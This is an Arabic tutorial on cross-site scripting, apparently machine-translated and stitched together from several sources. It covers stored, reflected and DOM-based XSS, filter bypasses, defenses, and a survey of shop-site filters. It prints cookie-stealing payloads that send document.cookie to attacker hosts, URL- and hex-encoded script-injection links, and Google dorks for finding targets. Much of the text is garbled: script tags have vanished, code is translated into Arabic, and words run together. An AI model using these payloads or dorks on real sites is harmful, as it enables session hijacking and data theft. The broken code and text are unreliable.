البرمجة النصية عبر المواقع (XSS) هي ثغرة أمنية تتضمن إدخال تعليمات برمجية من جانب العميل (JavaScript) في صفحة ويب يشاهدها المستخدمون الآخرون.

ترجع الثغرة الأمنية إلى عدم كفاية تصفية البيانات التي يرسلها المستخدم لإدراجها في صفحة الويب. من الأسهل أن نفهم بمثال ملموس. تذكر أي كتاب الضيوف- هذه هي البرامج المصممة لقبول البيانات من المستخدم ثم عرضها. لنتخيل أن سجل الزوار لا يقوم بفحص البيانات المدخلة أو تصفيتها بأي شكل من الأشكال، بل يعرضها ببساطة.

يمكنك رسم أبسط برنامج نصي لديك (ليس هناك شيء أسهل من كتابة نصوص برمجية سيئة بلغة PHP - كثير من الناس يفعلون ذلك). ولكن هناك بالفعل الكثير من الخيارات الجاهزة. على سبيل المثال، أقترح البدء بـ Dojo و OWASP Mutillidae II. هناك مثال مماثل هناك. في بيئة Dojo المستقلة، انتقل إلى هذا الرابط في متصفحك: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

إذا قام أحد المستخدمين بإدخال:

سيتم بعد ذلك عرض صفحة الويب:

مرحبًا! أنا أحب موقعك.

وإذا أدخل المستخدم هذا:

مرحبًا! يعجبني site.alert("Pwned") الخاص بك

ثم سيتم عرضه بهذا الشكل:

تقوم المتصفحات بتخزين العديد من ملفات تعريف الارتباط كمية كبيرةالمواقع. يمكن لكل موقع تلقي ملفات تعريف الارتباط المحفوظة بنفسه فقط. على سبيل المثال، قام موقع example.com بتخزين بعض ملفات تعريف الارتباط في متصفحك. إذا قمت بزيارة موقع Another.com، فلن يتمكن هذا الموقع (البرامج النصية للعميل والخادم) من الوصول إلى ملفات تعريف الارتباط التي قام موقع example.com بتخزينها.

إذا كان example.com عرضة لـ XSS، فهذا يعني أنه يمكننا بطريقة ما حقن تعليمات برمجية JavaScript فيه، وسيتم تنفيذ هذا الرمز نيابةً عن example.com! أولئك. سيتمكن هذا الرمز، على سبيل المثال، من الوصول إلى ملفات تعريف الارتباط الخاصة بـ example.com.

أعتقد أن الجميع يتذكر أن JavaScript يتم تنفيذه في متصفحات المستخدم، أي. في حالة وجود XSS، تتمكن التعليمات البرمجية الضارة المضمنة من الوصول إلى بيانات المستخدم الذي فتح صفحة موقع الويب.

يمكن للكود المضمن أن يفعل كل ما يمكن لجافا سكريبت أن يفعله، وهو:

• الوصول إلى ملفات تعريف الارتباط الخاصة بموقع الويب الذي تشاهده
• يجوز إجراء أي تغييرات على مظهرالصفحات
• يصل إلى الحافظة
• يمكنه تنفيذ برامج JavaScript، على سبيل المثال، Keyloggers (اعتراض ضغطات المفاتيح)
• التقاط على BeEF
• إلخ.

أبسط مثال مع ملفات تعريف الارتباط:

تنبيه (document.cookie)

في الواقع، يتم استخدام التنبيه فقط للكشف عن XSS. تقوم الحمولة الضارة الحقيقية بتنفيذ إجراءات مخفية. إنها تتصل سرا الخادم البعيدالمهاجم وينقل البيانات المسروقة إليه.

أنواع XSS

أهم شيء يجب فهمه حول أنواع XSS هو أنها:

• مخزنة (دائم)
• منعكس (غير دائم)

مثال على الثوابت:

• يتم تنزيل رسالة معدة خصيصًا بواسطة المهاجم في سجل الزوار (تعليق، رسالة المنتدى، الملف الشخصي)، والتي يتم حفظها على الخادم، من الخادم في كل مرة يطلب فيها المستخدمون عرض هذه الصفحة.
• تمكن المهاجم من الوصول إلى بيانات الخادم، على سبيل المثال، من خلال حقن SQL، وأدخل تعليمات برمجية JavaScript ضارة (مع كيلوغرز أو BeEF) في البيانات المقدمة للمستخدم.

مثال على الحالات غير الدائمة:

• هناك عملية بحث في الموقع تظهر مع نتائج البحث شيئًا مثل "لقد بحثت عن: [سلسلة البحث]"، ولا تتم تصفية البيانات بشكل صحيح. وبما أن هذه الصفحة يتم عرضها فقط للشخص الذي لديه رابط إليها، فلن ينجح الهجوم حتى يرسل المهاجم الرابط إلى مستخدمي الموقع الآخرين. بدلاً من إرسال رابط إلى الضحية، يمكنك استخدام وضع نص برمجي ضار على موقع محايد تزوره الضحية.

كما أنها تميز أيضًا (البعض كنوع من ثغرات XSS غير المستمرة، والبعض الآخر يقول أن هذا النوع يمكن أن يكون أيضًا نوعًا من أنواع XSS المستمرة):

• نماذج دوم

ميزات XSS المستندة إلى DOM

بكل بساطة، يمكننا رؤية التعليمات البرمجية الضارة لـ XSS "العادية" غير المستمرة إذا فتحنا تعليمات HTML البرمجية. على سبيل المثال، يتم تشكيل الرابط مثل هذا:

http://example.com/search.php?q="/>تنبيه(1)

وعند الفتح مصدر HTMLفي الكود نرى شيئًا مثل هذا:

تنبيه (1)" /> بحث

ويقوم DOM XSS بتغيير بنية DOM، التي يتم تشكيلها في المتصفح بسرعة، ولا يمكننا رؤية التعليمات البرمجية الضارة إلا عند عرض بنية DOM التي تم إنشاؤها. HTML لا يتغير. لنأخذ هذا الكود كمثال:

site:::DOM XSS حدث خطأ... الدالة OnLoad() ( var FoundFrag = get_fragment(); return FoundFrag; ) الدالة get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (results) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null ) ) Display_session = OnLoad();

")

document.write("معرف الجلسة الخاص بك كان: " + Display_session + "

كود مصدر الصفحة:

لنشكل العنوان هكذا:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

الآن تبدو الصفحة هكذا:

ولكن دعونا نلقي نظرة على كود مصدر HTML:

ولم يتغير شيء هناك على الإطلاق. هذا ما كنت أتحدث عنه، نحتاج إلى إلقاء نظرة على بنية DOM للمستند لتحديد التعليمات البرمجية الضارة:

إليك نموذج XSS أولي فعال، لهجوم حقيقي نحتاج إلى حمولة أكثر تعقيدًا، وهو أمر غير ممكن نظرًا لحقيقة أن التطبيق يتوقف عن القراءة مباشرة بعد الفاصلة المنقوطة، وشيء مثل التنبيه (1)؛ التنبيه (2) ليس كذلك أطول ممكنا. ومع ذلك، بفضل unescape() يمكننا استخدام حمولة مثل هذه في بيانات الإرجاع:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

حيث قمنا باستبدال الرمز ;

إلى ما يعادل URI المشفرة!

يمكننا الآن كتابة حمولة جافا سكريبت ضارة وإنشاء رابط لإرساله إلى الضحية، كما هو الحال بالنسبة للبرمجة النصية القياسية غير المستمرة عبر المواقع.

مدقق XSS فيجوجل كروم

(وأيضًا في Opera، الذي يستخدم الآن محرك Google Chrome)، كانت هذه المفاجأة تنتظرني:

dom_xss.html:30 رفض مدقق XSS تنفيذ برنامج نصي في "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" لأنه تم العثور على كود المصدر الخاص به ضمن الطلب. تم تمكين المدقق لأن الخادم لم يرسل رأس "X-XSS-Protection" أو "Content-Security-Policy".

أولئك. يحتوي المتصفح الآن على مدقق XSS الذي سيحاول منع XSS. لا يتوفر لدى Firefox هذه الوظيفة حتى الآن، ولكن أعتقد أنها مسألة وقت. إذا نجح التنفيذ في المتصفحات، فيمكننا التحدث عن صعوبة كبيرة في استخدام XSS. من الجيد أن نتذكر ذلكالمتصفحات الحديثة

تتخذ خطوات للحد من مستوى استغلال المشكلات مثل XSS غير المستمر وXSS القائم على DOM. وهذا أيضًا شيء يجب تذكره عند اختبار مواقع الويب باستخدام متصفح - قد يتبين أن تطبيق الويب ضعيف، لكنك لا ترى التأكيد المنبثق فقط لأن المتصفح يحظره.

أمثلة على استغلال XSS

يجب على المهاجمين الذين يعتزمون استغلال ثغرات البرمجة النصية عبر المواقع التعامل مع كل فئة من فئات الثغرات بشكل مختلف. تم وصف نواقل الهجوم لكل فئة هنا.

بالنسبة لثغرات XSS، يمكن للهجمات استخدام BeEF، الذي يوسع الهجوم من موقع الويب إلى البيئة المحلية للمستخدمين.

1. تزور أليس بشكل متكرر موقع ويب معين يستضيفه بوب. يسمح موقع Bob على الويب لأليس بتسجيل الدخول باستخدام اسم مستخدم/كلمة مرور وتخزين البيانات الحساسة مثل معلومات الدفع. عندما يقوم المستخدم بتسجيل الدخول، يقوم المتصفح بتخزين ملفات تعريف الارتباط، والتي تبدو وكأنها أحرف لا معنى لها، أي. كلا الجهازين (العميل والخادم) يتذكران أنها دخلت.

2. لاحظ مالوري أن موقع بوب الإلكتروني يحتوي على ثغرة XSS غير مستمرة:

2.1 عند زيارتك لصفحة البحث، أدخل سلسلة البحث وانقر على زر إرسال، إذا لم يتم العثور على نتائج، تعرض الصفحة سلسلة البحث المدخلة متبوعة بكلمات "لم يتم العثور عليه" ويبدو عنوان URL مثل http://bobssite .org?q= لها استعلام البحث

2.2 باستخدام استعلام بحث عادي مثل كلمة "كلاب"، تعرض الصفحة ببساطة عبارة "لم يتم العثور على كلاب" وعنوان url http://bobssite.org?q=dogs، وهو سلوك طبيعي تمامًا.

2.3 ومع ذلك، عند طلب بحث شاذ مثل تنبيه("xss"); :

2.3.1 تظهر رسالة تحذيرية (تقول "xss").

2.3.2 تعرض الصفحة تنبيه("xss"); لم يتم العثور عليه مع رسالة خطأ تحتوي على النص "xss".

2.3.3 عنوان URL مناسب للاستغلال http://bobssite.org?q=alert("xss");

3. يقوم مالوري بإنشاء عنوان URL لاستغلال الثغرة الأمنية:

3.1 تقوم بإنشاء عنوان URL http://bobssite.org?q=puppies. يمكنها اختيار تحويل أحرف ASCII إلى تنسيق سداسي عشري مثل http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E من أجل لمنع الأشخاص من فك رموز URL الضار على الفور.

3.2 ترسل بريدًا إلكترونيًا إلى بعض الأعضاء المطمئنين في موقع بوب قائلة: "تحقق من الكلاب الرائعة."

4. تتلقى أليس رسالة. إنها تحب الكلاب وتنقر على الرابط. تذهب إلى موقع بوب في البحث، ولا تجد أي شيء، ويتم عرض عبارة "لم يتم العثور على كلب" هناك، وفي المنتصف يتم إطلاق علامة تحتوي على برنامج نصي (غير مرئي على الشاشة)، وتنزيل وتنفيذ مالوري برنامج authstealer.js (يؤدي إلى هجوم XSS). أليس تنسى ذلك.

5. يعمل برنامج authstealer.js في متصفح أليس كما لو أنه نشأ من موقع بوب الإلكتروني. إنها تحصل على نسخة من ملفات تعريف الارتباط الخاصة بـ Alice وترسلها إلى خادم Malory، حيث تستردها Malory.

7. الآن بعد أن أصبحت مالوري بالداخل، تذهب إلى قسم الدفع بالموقع، وتبحث وتسرق نسخة من الرقم بطاقة إئتمانأليس. ثم تذهب وتغير كلمة المرور، أي. الآن لم تعد أليس قادرة على الدخول بعد الآن.

8. تقرر اتخاذ الخطوة التالية وترسل الرابط الذي تم إنشاؤه بهذه الطريقة إلى بوب نفسه، وبالتالي تحصل على امتيازات إدارية لموقع بوب.

هجوم XSS المستمر

لدى مالوري حساب على موقع بوب الإلكتروني.

لاحظ مالوري أن موقع بوب الإلكتروني يحتوي على ثغرة أمنية XSS مستمرة. إذا ذهبت إلى قسم جديد ونشرت تعليقًا، فسيتم عرض كل ما تم كتابته فيه. ولكن إذا كان نص التعليق يحتوي على علامات HTML، فسيتم عرض هذه العلامات كما هي، وسيتم تنفيذ أي علامات نصية.

يقرأ مالوري مقالاً في قسم الأخبار ويكتب تعليقًا في قسم التعليقات. في التعليق تقوم بإدراج النص:

لقد أحببت حقًا الكلاب في هذه القصة. إنهم لطيفون جدًا!

عندما تقوم أليس (أو أي شخص آخر) بتحميل صفحة تحتوي على هذا التعليق، تعمل علامة البرنامج النصي الخاصة بـ Malory وتسرق ملف تعريف ارتباط التفويض الخاص بـ Alice، وترسله إلى خادم Malory السري لجمعه.

يستطيع مالوري الآن اختطاف جلسة أليس وانتحال شخصية أليس.

العثور على المواقع المعرضة لـ XSS

دوركس لXSS

الخطوة الأولى هي تحديد المواقع التي سننفذ عليها هجمات XSS. يمكن البحث في المواقع باستخدام Google dorks. فيما يلي بعض هذه الأشياء التي يمكنك نسخها ولصقها في بحث Google:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

سيتم فتح قائمة المواقع أمامنا. تحتاج إلى فتح الموقع والعثور على حقول الإدخال فيه، مثل النموذج تعليق، نموذج الإدخال، البحث في الموقع، الخ.

اسمحوا لي أن أشير على الفور إلى أنه من غير المجدي تقريبًا البحث عن نقاط الضعف في تطبيقات الويب الشائعة التي يتم تحديثها تلقائيًا. والمثال الكلاسيكي لمثل هذا التطبيق هو WordPress. في الواقع، هناك نقاط ضعف في WordPress، وخاصة في مكوناته الإضافية. علاوة على ذلك، هناك العديد من المواقع التي لا تقوم بتحديث محرك WordPress (بسبب قيام مشرف الموقع بإجراء بعض التغييرات على الكود المصدري) أو المكونات الإضافية والموضوعات الخاصة بها (كقاعدة عامة، هذه مكونات إضافية وموضوعات مقرصنة). لكن إذا قرأت هذا القسم وتعلمت منه شيئاً جديداً، فإن الووردبريس ليس مناسباً لك بعد... بالتأكيد سنعود إليه لاحقاً.

أفضل الأهداف هي مجموعة متنوعة من المحركات والنصوص المكتوبة ذاتيًا.

يمكنك تحديد الحمولة النافعة كـ

تنبيه(1)

انتبه إلى علامات كود HTML التي يقع فيها الكود المضمن الخاص بك. فيما يلي مثال لحقل إدخال نموذجي:

تنبيه(1)

ستنتهي حمولتنا حيث توجد كلمة "غطاء وسادة" الآن. أولئك. تتحول إلى قيمة علامة الإدخال. يمكننا تجنب هذا - سوف نغلقه اقتباس مزدوج، ثم العلامة نفسها باستخدام "/>

"/>تنبيه(1)

دعونا نحاول ذلك لبعض المواقع:

عظيم، هناك ثغرة أمنية

برامج البحث عن ثغرات XSS ومسحها

من المحتمل أن جميع الماسحات الضوئية لتطبيقات الويب تحتوي على ماسح ضوئي مدمج لثغرات XSS. هذا الموضوع ليس شاملاً، فمن الأفضل التعرف على كل ماسح ضوئي مماثل على حدة.

البرمجة النصية عبر المواقع أو XSS. البرمجة النصية عبر المواقع (البرمجة النصية عبر المواقع).

تسمح ثغرة البرمجة النصية عبر المواقع للمهاجم بإرسال تعليمات برمجية قابلة للتنفيذ إلى الخادم، والتي سيتم إعادة توجيهها إلى متصفح المستخدم. عادة ما يتم إنشاء هذا الرمز في لغات HTML/JavaScript، ولكن يمكن استخدام VBScript أو ActiveX أو Java أو Flash أو التقنيات الأخرى التي يدعمها المتصفح.

يتم تنفيذ التعليمات البرمجية المرسلة في سياق الأمان (أو منطقة الأمان) للخادم الضعيف. باستخدام هذه الامتيازات، يكون الكود قادرًا على قراءة أو تعديل أو نقل البيانات الحساسة التي يمكن الوصول إليها من خلال المتصفح. قد يتم اختراق حساب المستخدم الذي تمت مهاجمته (سرقة ملفات تعريف الارتباط)، أو قد تتم إعادة توجيه متصفحه إلى خادم آخر، أو قد يتم استبدال محتويات الخادم. نتيجة للهجوم المخطط له بعناية، يمكن للمهاجم استخدام متصفح الضحية لعرض صفحات موقع الويب نيابة عن المستخدم المهاجم. يمكن للمهاجم إرسال الكود في عنوان URL، وفي أساليب وبنية رؤوس طلبات HTTP (ملف تعريف الارتباط، وكيل المستخدم، المرجع)، وقيم حقول النموذج، وما إلى ذلك.

هناك ثلاثة أنواع من هجمات البرمجة النصية عبر المواقع: غير المستمرة (المنعكسة)، والمستمرة (المستمرة)، والقائمة على DOM. والفرق الرئيسي بين المستمر وغير المستمر هو أنه في الإصدار المنعكس، يتم إرسال الكود إلى الخادم وإعادته إلى العميل ضمن طلب HTTP واحد، وفي الإصدار المخزن - في إصدارات مختلفة.

يتطلب تنفيذ هجوم غير مستمر من المستخدم اتباع الرابط الذي أنشأه المهاجم (يمكن إرسال الرابط عبر البريد الإلكتروني أو ICQ وما إلى ذلك). أثناء عملية تحميل الموقع، سيتم إرسال الكود المضمن في عنوان URL أو رؤوس الطلب إلى العميل وتنفيذه في متصفحه.

يحدث النوع المخزن من الثغرات الأمنية عندما يتم نقل التعليمات البرمجية إلى الخادم وتخزينها عليه لفترة زمنية معينة. الأهداف الأكثر شيوعًا للهجمات في هذه الحالة هي المنتديات والبريد المستند إلى الويب وغرف الدردشة. للهجوم، لا يتعين على المستخدم اتباع الرابط؛ يكفي زيارة الموقع المعرض للخطر.

مثال. خيار الهجوم المستمر.

تحتوي العديد من المواقع على لوحات رسائل ومنتديات تسمح للمستخدمين بنشر الرسائل. عادة ما يتم تعريف المستخدم المسجل برقم الجلسة المخزنة في ملف تعريف الارتباط. إذا ترك المهاجم رسالة تحتوي على رمز لـجافا سكريبت

، سيكون لديه حق الوصول إلى معرف جلسة المستخدم. مثال على الكود لتمرير ملفات تعريف الارتباط:

document.location= "http://attackerhost.example/cgi-bin/cookiesteal.cgi؟"+document.cookie

مثال. النسخة المنعكسة (غير المستمرة) من الهجوم.

توفر العديد من الخوادم للمستخدمين القدرة على البحث في محتوى الخادم. عادةً، يتم تمرير الطلب في عنوان URL ويتم تضمينه في الصفحة الناتجة.

على سبيل المثال، عند اتباع عنوان URL http://portal.example/search?q= "بيرة طازجة" ستظهر للمستخدم صفحة تحتوي على نتائج البحث والعبارة: "تم العثور على 0 صفحات لطلبك بيرة طازجة". إذا تم تمرير Javascript كعبارة بحث، فسيتم تنفيذها في متصفح المستخدم. مثال:

http://portal.example/search/?q=alert("xss")

يمكن استخدام URLEncode لإخفاء رمز البرنامج النصي

http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74% 2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65% 72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F% 6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63% 6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E فلاناغان ديفيد جافا سكريبتمقتطف من كتاب ديفيد فلاناغان جافا سكريبت

الدليل الكامل الطبعة الخامسة.يشير مصطلح البرمجة النصية عبر المواقع، أو XSS، إلى منطقة ثغرة في الكمبيوتر حيث يقوم المهاجم بإدخال علامات HTML أو البرامج النصية في المستندات الموجودة على موقع ويب ضعيف، وهو أمر شائع بين مطوري الويب الذين يكتبون البرامج النصية من جانب الخادم. ومع ذلك، يجب على المبرمجين الذين يقومون بتطوير نصوص جافا سكريبت من جانب العميل أن يكونوا على دراية بها أيضًا

هجوم XSS

اسم فار = decodeURIComponent(window.location.search.substring(6)) || ""؛ document.write("مرحبا" + الاسم);

يستدعي السطر الثاني من البرنامج النصي الأسلوب window.location.search.substring، الذي يسترد الجزء شريط العناوينبدءًا بالرمز؟. تتم بعد ذلك إضافة محتوى المستند الذي تم إنشاؤه ديناميكيًا باستخدام طريقة document.write(). يفترض هذا البرنامج النصي أنه سيتم الوصول إلى صفحة الويب باستخدام عنوان URL مثل هذا:

http://www.example.com/greet.html?name=David

في هذه الحالة، سيتم عرض النص "Hello David". ولكن ماذا يحدث إذا تم طلب الصفحة باستخدام عنوان URL التالي:

http://www.example.com/greet.html?name=%3Cscript%3Ealert("David")%3C/script%3E

باستخدام محتوى عنوان URL هذا، سيقوم البرنامج النصي بإنشاء برنامج نصي آخر ديناميكيًا (الرمزان %3C و%3E عبارة عن قوسين زاوية)! في في هذه الحالةسيعرض البرنامج النصي المدرج ببساطة مربع حوار لا يشكل أي خطر. لكن تخيل هذه الحالة:

http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

تسمى البرمجة النصية عبر المواقع بذلك لأن أكثر من موقع واحد متورط في الهجوم. يتضمن الموقع B (أو حتى الموقع C) رابطًا معدًا خصيصًا (مثل الرابط الموضح للتو) للموقع A، والذي يحتوي على برنامج نصي من الموقع B. تتم استضافة البرنامج النصي evil.js على موقع المهاجم B، ولكن ينتهي البرنامج النصي الآن يتم إدخالها في الموقع أ ويمكنها أن تفعل ما تشاء بمحتويات الموقع أ. ويمكنها مسح صفحة أو التسبب في اضطرابات أخرى في الموقع (مثل رفض الخدمة، والذي سيتم مناقشته في القسم التالي). قد يكون لهذا تأثير سلبي على زوار الموقع أ. والأخطر من ذلك بكثير، أن مثل هذا البرنامج النصي الضار يمكنه قراءة محتويات ملفات تعريف الارتباط المخزنة على الموقع أ (ربما تحتوي على أرقام حسابات أو معلومات شخصية أخرى) وإرسال تلك البيانات مرة أخرى إلى الموقع ب. يمكن للبرنامج النصي المضمن تتبع ضغطات المفاتيح وإرسال هذه البيانات إلى الموقع ب.

الطريقة العالمية لمنع هجمات XSS هي الإزالة علامات HTMLمن جميع البيانات ذات الأصل المشكوك فيه قبل استخدامها لإنشاء محتوى المستند ديناميكيًا. لإصلاح هذه المشكلة في ملفgree.html الموضح سابقًا، تحتاج إلى إضافة السطر التالي إلى البرنامج النصي الخاص بك لإزالة الأقواس الزاوية المحيطة بما يلي:

الاسم = name.replace(//g, ">");

تعد البرمجة النصية عبر المواقع ثغرة أمنية متجذرة بعمق في بنية شبكة الويب العالمية. ومن الضروري أن نفهم عمق هذه الثغرة الأمنية.

قبل أن نبدأ، تجدر الإشارة إلى أن هذه المادة هي لأغراض إعلامية فقط. في الوقت الحاضر، أحد أكثر أنواع الهجمات شيوعًا هو البرمجة النصية عبر المواقع باستخدام جافا سكريبت. في هذه المقالة، سننظر في المشكلات التي يسببها الاستخدام غير القانوني لجافا سكريبت، وقواعد الأمان لمنع هجوم XSS المحتمل وتقديم أبحاثنا الخاصة المتعلقة بفحص المواقع من أجل أمان موقع الويب المنظم. ما هو هجوم XSS؟ هذا نوع من الهجوم الذي يقوم بإدخال تعليمات برمجية ضارة في نظام الويب، مما يجبره على عرض البيانات المتغيرة أو استبدال الروابط (المرئية/المخفية) أو عرض إعلاناته الخاصة على المورد المتأثر.

هناك نوعان من ناقلات الهجوم:

سلبية – والتي تتطلب التدخل المباشر من موضوع الهجوم. والفكرة هي إجبار الضحية على النقر على رابط ضار لتنفيذ "البرامج الضارة". يعد تنفيذ هذا النوع من الهجوم أكثر صعوبة، لأنه من الضروري أن يكون لديك ليس فقط المعرفة التقنية، ولكن أيضًا المعرفة النفسية.

النشط هو نوع من الهجوم عندما يحاول أحد المتسللين العثور على ثغرة أمنية في مرشح موقع الويب. كيف يتم تنفيذ مثل هذا الهجوم؟ انها بسيطة جدا. تحتاج إلى إنشاء طلب باستخدام مجموعة من العلامات والرموز حتى يفهمه الموقع وينفذ الأمر. بمجرد العثور على ثغرة أمنية، يمكننا إدراج "برامج ضارة" في طلبنا، والتي، على سبيل المثال، ستقوم بسرقة ملفات تعريف الارتباط وإرسالها إلى موقع مناسب لنا. فيما يلي مثال لبرنامج نصي يسرق ملفات تعريف الارتباط من موقع ويب:

Img = new image() Img.src = http://site.gif?+document.cookie;
عادةً ما يتعين عليك العمل بجد للعثور على ثغرة في أمان الموقع، لأن معظم المرشحات قوية جدًا. لكنها مكتوبة من قبل الناس، ويميلون إلى ارتكاب الأخطاء.

قواعد الأمن أين ولماذا تنشأ مثل هذه الثغرات الأمنية التي تؤدي إلى عواقب كارثية؟ الأمر كله يتعلق باليقظة ومعرفة الناس. يجب على المطورين كتابة التعليمات البرمجية الصحيحة، لذلك سنتحدث في هذا القسم عن الحد الأدنى من قواعد الأمان لكتابة مواقع الويب.

لقد وصفنا بالفعل كيفية استخدام الهجوم، لكننا سنكرره مرة أخرى. الهدف الأساسي من هجوم XSS هو اكتشاف ثغرة في الفلتر لتجاوزه.

1. إحدى القواعد الأولى والأساسية للمطور هي استخدام أي مرشح (حتى أصغره).

في دراستنا للمواقع، كانت جميعها تقريبًا محمية، ولكن لا تزال هناك مواقع لم تستخدم أي تصفية للبيانات المستلمة. يحدث هذا بشكل رئيسي على المواقع المكتوبة بلغة PHP. ولكن، على سبيل المثال، تحتوي أطر عمل Python، مثل flask أو Django، على الحد الأدنى من المرشحات المضمنة، فهي تحتاج فقط إلى التعزيز.

2. تصفية الرموز والهياكل المتداخلة.

سوف يحمينا الحد الأدنى من المرشح من هجمات الهواة والمتخصصين الأميين، ولكن من المتسللين الجادين نحتاج إلى بناء حماية أكثر جدية، مع تصفية بيانات أكثر تفصيلاً. يجب على المطورين أن يأخذوا في الاعتبار ويفهموا التنفيذ المحتمل لهجوم xss وأن يبنوا عامل التصفية بطريقة تتعرف على الهياكل المتداخلة. على سبيل المثال، يمكن للمتسلل إنشاء بنية متعددة المستويات وإدراج كود جافا سكريبت الضار في الهيكل الأدنى. سيتم حظر الفلتر المستوى الأعلى، ولكن سيتم تنفيذ الجزء السفلي.

3. يجب أن يأخذ المرشح في الاعتبار جميع المجموعات الممكنة من الأحرف.

أحد الاختبارات المفضلة لدينا لنقاط الضعف xss هو استخدام الأقواس المفتوحة والمغلقة.
على سبيل المثال: "/?,#">>>>http://blabla.ru/1.jpg/dynsrc=javascript:alert()
5. التشفير.

عند إنشاء مرشح، يجب عليك أولا أن تأخذ في الاعتبار إمكانية هجمات التشفير. يوجد عدد كبير من برامج التشفير التي تعمل على تشفير الهجوم حتى لا يتمكن عامل التصفية من التعرف عليه. لذلك، من الضروري استخدام خوارزمية فك التشفير في المرشح قبل أن ينفذ البرنامج رمز الطلب.

فيما يلي مثال على الكود المشفر:

%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%66%72%65%65%3F%70%3D%27%3E %3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63 %72%69%70%74%3E
التشفير ضروري ليس فقط لتجاوز عامل التصفية، ولكن أيضًا للهندسة الاجتماعية وخداع الأشخاص. يمكنك إرسال الرمز المشفر كرابط. ومن غير المرجح أن يتحقق أي شخص من ذلك، الأمر الذي يؤدي إلى نقطة أخرى.

6. الهندسة الاجتماعية

لا يكفي كتابة مرشح مقاوم للهجمات، بل من الضروري إجراء محاضرات بشكل دوري مع الموظفين حول قواعد استخدام الإنترنت والتحدث عن الحيل المحتملة للمتسللين.

هناك بعض القواعد الأساسية: لا تفتح أبدًا الروابط المشبوهة وتتحقق من الروابط المشفرة، خاصة إذا كنت مسؤول استضافة أو شبكة.

البحث في المواقع عن ثغرات xss باستخدام جافا سكريبت.

ما مدى جدية المطورين في التعامل مع أمان تطبيقات الويب الخاصة بهم؟ قرر فريقنا التحقق من ذلك. كجزء من بحثنا، قمنا بفحص حوالي 500 موقع بحثًا عن الأخطاء الأمنية. تم قضاء الكثير من الوقت في جمع المعلومات ومعالجتها وتنظيمها. تم إجراء جميع الفحوصات يدويًا لأنه الأداة الصحيحةلم نجده، ولم يكن لدينا ما يكفي من الوقت والمعرفة لكتابة برنامجنا الخاص. ولكن، بعد أن اكتسبنا الخبرة بالفعل، سنفعل ذلك في المرة القادمة.

كانت أهداف بحثنا هي مواقع التسوق عبر الإنترنت. لقد اخترناهم لأنه يوجد في مثل هذه المواقع إمكانية التعليقات. من خلاله، وباستخدام أساليب الهندسة الاجتماعية، يمكنك تقديم رابط به تعليمات برمجية ضارة إلى مشغل الموقع والتسبب ليس فقط في تسرب البيانات الشخصية، ولكن أيضًا تغيير غلاف الموقع، وتقديم إعلاناتك بشكل غير قانوني من خلال عناصر جافا سكريبت واستبدال الروابط الحقيقية بعناصر جافا سكريبت. تلك الخبيثة.

ومن الجدير بالذكر أننا قمنا بفحص المرشحات فقط، وهذا لا يخالف القانون (272-274 من قانون العقوبات) الاتحاد الروسيولا يتحمل أي عقاب.

ونتيجة لهذه الدراسة، حصلنا على بعض الإحصائيات الجيدة جدًا. نسبة صغيرة جدًا من المواقع، حوالي 5%، لا تحتوي على فلتر، وهو نظام معيب بشكل أساسي. ولكن من الناحية العملية اتضح أن كل هذه المواقع تم تطويرها من قبل الطلاب. بشكل افتراضي، تعتبر المواقع التي لا تحتوي على مرشح مخترقة تلقائيًا، لأنها فهي لا تفلت من الأحرف المحظورة ويمكن تحميلها برموز ضارة عبر جافا سكريبت. تحتوي المواقع الأخرى على مرشحات، ولكن ماذا يمكننا أن نقول عن موثوقيتها؟

تمكنا من تجاوز حوالي 11% بمعرفة متوسطة فقط في هذا المجال. وهذا عيب كبير من جانب المطورين، والذي يمكن أن يسبب الكثير من الضرر للمشروع، لأن البيانات الشخصية للمستخدمين معرضة للخطر. وفقًا للقانون (المادة 13.11 من القانون الإداري، الجزء 6)، يجب على جميع المواقع ضمان سلامة البيانات الشخصية عند تخزين الوسائط المادية واستبعاد الوصول غير المصرح به إليها. إذا أدى ذلك إلى الوصول غير القانوني إلى البيانات الشخصية (التدمير، التعديل، النسخ، الحجب، وما إلى ذلك)، فيجب فرض غرامة قدرها 700 روبل إلى 50000 روبل.

تتمتع معظم المواقع بحماية جيدة من الهجمات، مما يجعلنا سعداء كمستخدمين. وتظهر نتيجة الدراسة بوضوح في الرسم البياني أدناه.

